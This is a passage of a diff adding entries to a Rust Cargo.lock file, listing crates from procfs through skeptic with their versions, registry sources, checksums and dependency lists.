+version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "procfs" +version = "0.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "731e0d9356b0c25f16f33b5be79b1c57b562f141ebfcdb0ad8ac2c13a24293b4" +dependencies = [ + "bitflags 2.11.0", + "hex", + "lazy_static", + "procfs-core", + "rustix 0.38.44", +] + +[[package]] +name = "procfs-core" +version = "0.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d3554923a69f4ce04c4a754260c338f505ce22642d3830e049a399fc2059a29" +dependencies = [ + "bitflags 2.11.0", + "hex", +] + +[[package]] +name = "prometheus" +version = "0.13.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d33c28a30771f7f96db69893f78b857f7450d7e0237e9c8fc6427a81bae7ed1" +dependencies = [ + "cfg-if", + "fnv", + "lazy_static", + "libc", + "memchr", + "parking_lot", + "procfs", + "protobuf", + "thiserror 1.0.69", +] + +[[package]] +name = "prost" +version = "0.12.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "deb1435c188b76130da55f17a466d252ff7b1418b2ad3e037d127b94e3411f29" +dependencies = [ + "bytes", + "prost-derive", +] + +[[package]] +name = "prost-build" +version = "0.12.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22505a5c94da8e3b7c2996394d1c933236c4d743e81a410bcca4e6989fc066a4" +dependencies = [ + "bytes", + "heck", + "itertools 0.12.1", + "log", + "multimap", + "once_cell", + "petgraph", + "prettyplease", + "prost", + "prost-types", + "regex", + "syn 2.0.117", + "tempfile", +] + +[[package]] +name = "prost-derive" +version = "0.12.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81bddcdb20abf9501610992b6759a4c888aef7d1a7247ef75e2404275ac24af1" +dependencies = [ + "anyhow", + "itertools 0.12.1", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "prost-types" +version = "0.12.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9091c90b0a32608e984ff2fa4091273cbdd755d54935c51d520887f4a1dbd5b0" +dependencies = [ + "prost", +] + +[[package]] +name = "protobuf" +version = "2.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "106dd99e98437432fed6519dedecfade6a06a73bb7b2a1e019fdd2bee5778d94" + +[[package]] +name = "pulldown-cmark" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57206b407293d2bcd3af849ce869d52068623f19e1b5ff8e8778e3309439682b" +dependencies = [ + "bitflags 2.11.0", + "memchr", + "unicase", +] + +[[package]] +name = "quote" +version = "1.0.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "quoted_printable" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "478e0585659a122aa407eb7e3c0e1fa51b1d8a870038bd29f0cf4a8551eea972" + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" +dependencies = [ + "getrandom 0.1.16", + "libc", + "rand_chacha 0.2.2", + "rand_core 0.5.1", + "rand_hc", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6db2770f06117d490610c7488547d543617b21bfa07796d7a12f6f1bd53850d1" +dependencies = [ + "rand_chacha 0.9.0", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_chacha" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" +dependencies = [ + "ppv-lite86", + "rand_core 0.5.1", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_core" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" +dependencies = [ + "getrandom 0.1.16", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.17", +] + +[[package]] +name = "rand_core" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c" +dependencies = [ + "getrandom 0.3.4", +] + +[[package]] +name = "rand_core" +version = "0.10.0-rc-3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f66ee92bc15280519ef199a274fe0cafff4245d31bc39aaa31c011ad56cb1f05" + +[[package]] +name = "rand_hc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "rc2" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62c64daa8e9438b84aaae55010a93f396f8e60e3911590fcba770d04643fc1dd" +dependencies = [ + "cipher", +] + +[[package]] +name = "reactor-trait" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "438a4293e4d097556730f4711998189416232f009c137389e0f961d2bc0ddc58" +dependencies = [ + "async-trait", + "futures-core", + "futures-io", +] + +[[package]] +name = "redis" +version = "0.27.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09d8f99a4090c89cc489a94833c901ead69bfbf3877b4867d5482e321ee875bc" +dependencies = [ + "arc-swap", + "async-trait", + "backon", + "bytes", + "combine", + "futures", + "futures-util", + "itertools 0.13.0", + "itoa", + "num-bigint", + "percent-encoding", + "pin-project-lite", + "ryu", + "sha1_smol", + "socket2 0.5.10", + "tokio", + "tokio-util", + "url", +] + +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags 2.11.0", +] + +[[package]] +name = "redox_syscall" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce70a74e890531977d37e532c34d45e9055d2409ed08ddba14529471ed0be16" +dependencies = [ + "bitflags 2.11.0", +] + +[[package]] +name = "ref-cast" +version = "1.0.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f354300ae66f76f1c85c5f84693f0ce81d747e2c3f21a45fef496d89c960bf7d" +dependencies = [ + "ref-cast-impl", +] + +[[package]] +name = "ref-cast-impl" +version = "1.0.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7186006dcb21920990093f30e3dea63b7d6e977bf1256be20c3563a5db070da" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "regex" +version = "1.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-lite" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cab834c73d247e67f4fae452806d17d3c7501756d98c8808d7c9c7aa7d18f973" + +[[package]] +name = "regex-syntax" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a" + +[[package]] +name = "reqwest" +version = "0.11.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd67538700a17451e7cba03ac727fb961abb7607553461627b97de0b89cf4a62" +dependencies = [ + "base64 0.21.7", + "bytes", + "encoding_rs", + "futures-core", + "futures-util", + "h2 0.3.27", + "http 0.2.12", + "http-body 0.4.6", + "hyper 0.14.32", + "hyper-tls", + "ipnet", + "js-sys", + "log", + "mime", + "native-tls", + "once_cell", + "percent-encoding", + "pin-project-lite", + "rustls-pemfile 1.0.4", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "system-configuration", + "tokio", + "tokio-native-tls", + "tokio-util", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "wasm-streams", + "web-sys", + "winreg", +] + +[[package]] +name = "retain_mut" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4389f1d5789befaf6029ebd9f7dac4af7f7e3d61b69d4f30e2ac02b57e7712b0" + +[[package]] +name = "rfc6979" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2" +dependencies = [ + "hmac", + "subtle", +] + +[[package]] +name = "rhai" +version = "1.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f9ef5dabe4c0b43d8f1187dc6beb67b53fe607fff7e30c5eb7f71b814b8c2c1" +dependencies = [ + "ahash 0.8.12", + "bitflags 2.11.0", + "no-std-compat", + "num-traits", + "once_cell", + "rhai_codegen", + "serde", + "smallvec", + "smartstring", + "thin-vec", + "web-time", +] + +[[package]] +name = "rhai_codegen" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4322a2a4e8cf30771dd9f27f7f37ca9ac8fe812dddd811096a98483080dabe6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted 0.9.0", + "windows-sys 0.52.0", +] + +[[package]] +name = "ron" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88073939a61e5b7680558e6be56b419e208420c2adb92be54921fa6b72283f1a" +dependencies = [ + "base64 0.13.1", + "bitflags 1.3.2", + "serde", +] + +[[package]] +name = "rsa" +version = "0.9.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8573f03f5883dcaebdfcf4725caa1ecb9c15b2ef50c43a07b816e06799bb12d" +dependencies = [ + "const-oid 0.9.6", + "digest 0.10.7", + "num-bigint-dig", + "num-integer", + "num-traits", + "pkcs1 0.7.5", + "pkcs8 0.10.2", + "rand_core 0.6.4", + "sha2 0.10.9", + "signature 2.2.0", + "spki 0.7.3", + "subtle", + "zeroize", +] + +[[package]] +name = "rsa" +version = "0.10.0-rc.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9a2b1eacbc34fbaf77f6f1db1385518446008d49b9f9f59dc9d1340fce4ca9e" +dependencies = [ + "const-oid 0.10.2", + "crypto-bigint 0.7.0-rc.18", + "crypto-primes", + "digest 0.11.2", + "pkcs1 0.8.0-rc.4", + "pkcs8 0.11.0-rc.11", + "rand_core 0.10.0-rc-3", + "sha2 0.11.0", + "signature 3.0.0-rc.6", + "spki 0.8.0", + "zeroize", +] + +[[package]] +name = "russh" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30f6ce4f5d5105b934cfb4b8b3028aab4d5dcdff863cb8dda9edd06d39b8c4e8" +dependencies = [ + "aes", + "aws-lc-rs", + "bitflags 2.11.0", + "block-padding", + "byteorder", + "bytes", + "cbc", + "ctr", + "curve25519-dalek", + "data-encoding", + "delegate", + "der 0.7.10", + "digest 0.10.7", + "ecdsa", + "ed25519-dalek", + "elliptic-curve", + "enum_dispatch", + "flate2", + "futures", + "generic-array 1.3.5", + "getrandom 0.2.17", + "hex-literal", + "hmac", + "inout", + "internal-russh-forked-ssh-key", + "libcrux-ml-kem", + "log", + "md5", + "num-bigint", + "p256", + "p384", + "p521", + "pageant", + "pbkdf2", + "pkcs1 0.8.0-rc.4", + "pkcs5", + "pkcs8 0.10.2", + "rand 0.9.2", + "rand_core 0.10.0-rc-3", + "rsa 0.10.0-rc.12", + "russh-cryptovec", + "russh-util", + "sec1", + "sha1 0.10.6", + "sha2 0.10.9", + "signature 2.2.0", + "spki 0.7.3", + "ssh-encoding", + "subtle", + "thiserror 2.0.18", + "tokio", + "typenum", + "zeroize", +] + +[[package]] +name = "russh-cryptovec" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc109749696a6853cf2c3fba3537635264f3519a78a9f43c6b08c91edc024384" +dependencies = [ + "log", + "nix", + "ssh-encoding", + "windows-sys 0.59.0", +] + +[[package]] +name = "russh-util" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "668424a5dde0bcb45b55ba7de8476b93831b4aa2fa6947e145f3b053e22c60b6" +dependencies = [ + "chrono", + "tokio", + "wasm-bindgen", + "wasm-bindgen-futures", +] + +[[package]] +name = "rust-ini" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6d5f2436026b4f6e79dc829837d467cc7e9a55ee40e750d716713540715a2df" +dependencies = [ + "cfg-if", + "ordered-multimap", +] + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "rusticata-macros" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "faf0c4a6ece9950b9abdb62b1cfcf2a68b3b67a10ba445b3bb85be2a293d0632" +dependencies = [ + "nom 7.1.3", +] + +[[package]] +name = "rustix" +version = "0.37.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "519165d378b97752ca44bbe15047d5d3409e875f39327546b42ac81d7e18c1b6" +dependencies = [ + "bitflags 1.3.2", + "errno", + "io-lifetimes", + "libc", + "linux-raw-sys 0.3.8", + "windows-sys 0.48.0", +] + +[[package]] +name = "rustix" +version = "0.38.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" +dependencies = [ + "bitflags 2.11.0", + "errno", + "libc", + "linux-raw-sys 0.4.15", + "windows-sys 0.59.0", +] + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags 2.11.0", + "errno", + "libc", + "linux-raw-sys 0.12.1", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.22.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf4ef73721ac7bcd79b2b315da7779d8fc09718c6b3d2d1b2d94850eb8c18432" +dependencies = [ + "log", + "ring", + "rustls-pki-types", + "rustls-webpki 0.102.8", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls" +version = "0.23.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4" +dependencies = [ + "log", + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki 0.103.10", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-connector" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70cc376c6ba1823ae229bacf8ad93c136d93524eab0e4e5e0e4f96b9c4e5b212" +dependencies = [ + "log", + "rustls 0.23.37", + "rustls-native-certs", + "rustls-pki-types", + "rustls-webpki 0.103.10", +] + +[[package]] +name = "rustls-native-certs" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5bfb394eeed242e909609f56089eecfe5fda225042e8b171791b9c95f5931e5" +dependencies = [ + "openssl-probe 0.1.6", + "rustls-pemfile 2.2.0", + "rustls-pki-types", + "schannel", + "security-framework 2.11.1", +] + +[[package]] +name = "rustls-pemfile" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" +dependencies = [ + "base64 0.21.7", +] + +[[package]] +name = "rustls-pemfile" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dce314e5fee3f39953d46bb63bb8a46d40c2f8fb7cc5a3b6cab2bde9721d6e50" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "rustls-pki-types" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be040f8b0a225e40375822a563fa9524378b9d63112f53e19ffff34df5d33fdd" +dependencies = [ + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.102.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64ca1bc8749bd4cf37b5ce386cc146580777b4e8572c7b97baf22c83f444bee9" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted 0.9.0", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df33b2b81ac578cabaf06b89b0631153a3f416b0a886e8a7a1707fb51abbd1ef" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted 0.9.0", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "ryu" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" + +[[package]] +name = "salsa20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97a22f5af31f73a954c10289c93e8a50cc23d971e80ee446f1f6f7137a088213" +dependencies = [ + "cipher", +] + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "schannel" +version = "0.1.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91c1b7e4904c873ef0710c1f407dde2e6287de2bebc1bbbf7d430bb7cbffd939" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "scrypt" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0516a385866c09368f0b5bcd1caff3366aace790fcd46e2bb032697bb172fd1f" +dependencies = [ + "pbkdf2", + "salsa20", + "sha2 0.10.9", +] + +[[package]] +name = "sealed" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22f968c5ea23d555e670b449c1c5e7b2fc399fdaec1d304a17cd48e288abc107" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "sec1" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc" +dependencies = [ + "base16ct 0.2.0", + "der 0.7.10", + "generic-array 0.14.7", + "pkcs8 0.10.2", + "subtle", + "zeroize", +] + +[[package]] +name = "security-framework" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" +dependencies = [ + "bitflags 2.11.0", + "core-foundation 0.9.4", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework" +version = "3.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7f4bc775c73d9a02cde8bf7b2ec4c9d12743edf609006c7facc23998404cd1d" +dependencies = [ + "bitflags 2.11.0", + "core-foundation 0.10.1", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2691df843ecc5d231c0b14ece2acc3efb62c0a398c7e1d875f3983ce020e3" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "self_cell" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b12e76d157a900eb52e81bc6e9f3069344290341720e9178cde2407113ac8d89" + +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" +dependencies = [ + "serde", + "serde_core", +] + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_path_to_error" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10a9ff822e371bb5403e391ecd83e182e0e77ba7f6fe0160b795797109d1b457" +dependencies = [ + "itoa", + "serde", + "serde_core", +] + +[[package]] +name = "serde_qs" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7715380eec75f029a4ef7de39a9200e0a63823176b759d055b613f5a87df6a6" +dependencies = [ + "percent-encoding", + "serde", + "thiserror 1.0.69", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_valid" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70c0e00fab6460447391a1981c21341746bc2d0178a7c46a3bbf667f450ac6e4" +dependencies = [ + "indexmap 2.14.0", + "itertools 0.12.1", + "num-traits", + "once_cell", + "paste", + "regex", + "serde", + "serde_json", + "serde_valid_derive", + "serde_valid_literal", + "thiserror 1.0.69", + "unicode-segmentation", +] + +[[package]] +name = "serde_valid_derive" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88c60a851514741a6088b2cd18eefb3f0d02ff3a1c87234de47153f2724d395d" +dependencies = [ + "paste", + "proc-macro-error", + "proc-macro2", + "quote", + "strsim 0.11.1", + "syn 2.0.117", +] + +[[package]] +name = "serde_valid_literal" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aced4f1b31605a2b55eeacf2ec4dcbd96583263e9ded17eed1d41ab75915d12e" +dependencies = [ + "paste", + "regex", +] + +[[package]] +name = "serde_yaml" +version = "0.9.34+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a8b1a1a2ebf674015cc02edccce75287f1a0130d394307b36743c2f5d504b47" +dependencies = [ + "indexmap 2.14.0", + "itoa", + "ryu", + "serde", + "unsafe-libyaml", +] + +[[package]] +name = "serdect" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9af4a3e75ebd5599b30d4de5768e00b5095d518a79fefc3ecbaf77e665d1ec06" +dependencies = [ + "base16ct 1.0.0", + "serde", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "digest 0.10.7", +] + +[[package]] +name = "sha1" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aacc4cc499359472b4abe1bf11d0b12e688af9a805fa5e3016f9a386dc2d0214" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.0", + "digest 0.11.2", +] + +[[package]] +name = "sha1_smol" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbfa15b3dddfee50a0fff136974b3e1bde555604ba463834a7eb7deb6417705d" + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "digest 0.10.7", +] + +[[package]] +name = "sha2" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "446ba717509524cb3f22f17ecc096f10f4822d76ab5c0b9822c5f9c284e825f4" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.0", + "digest 0.11.2", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shell-words" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77" + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "signature" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +dependencies = [ + "digest 0.10.7", + "rand_core 0.6.4", +] + +[[package]] +name = "signature" +version = "3.0.0-rc.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "597a96996ccff7dfa16f052bd995b4cecc72af22c35138738dc029f0ead6608d" +dependencies = [ + "digest 0.11.2", + "rand_core 0.10.0-rc-3", +] + +[[package]] +name = "simd-adler32" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "703d5c7ef118737c72f1af64ad2f6f8c5e1921f818cdcb97b8fe6fc69bf66214" + +[[package]] +name = "similar" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbbb5d9659141646ae647b42fe094daf6c6192d1620870b449d9557f748b2daa" + +[[package]] +name = "siphasher" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2aa850e253778c88a04c3d7323b043aeda9d3e30d5971937c1855769763678e" + +[[package]] +name = "skeptic" +version = "0.13.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16d23b015676c90a0f01c197bfdc786c20342c73a0afdda9025adb0bc42940a8" +dependencies = [ + 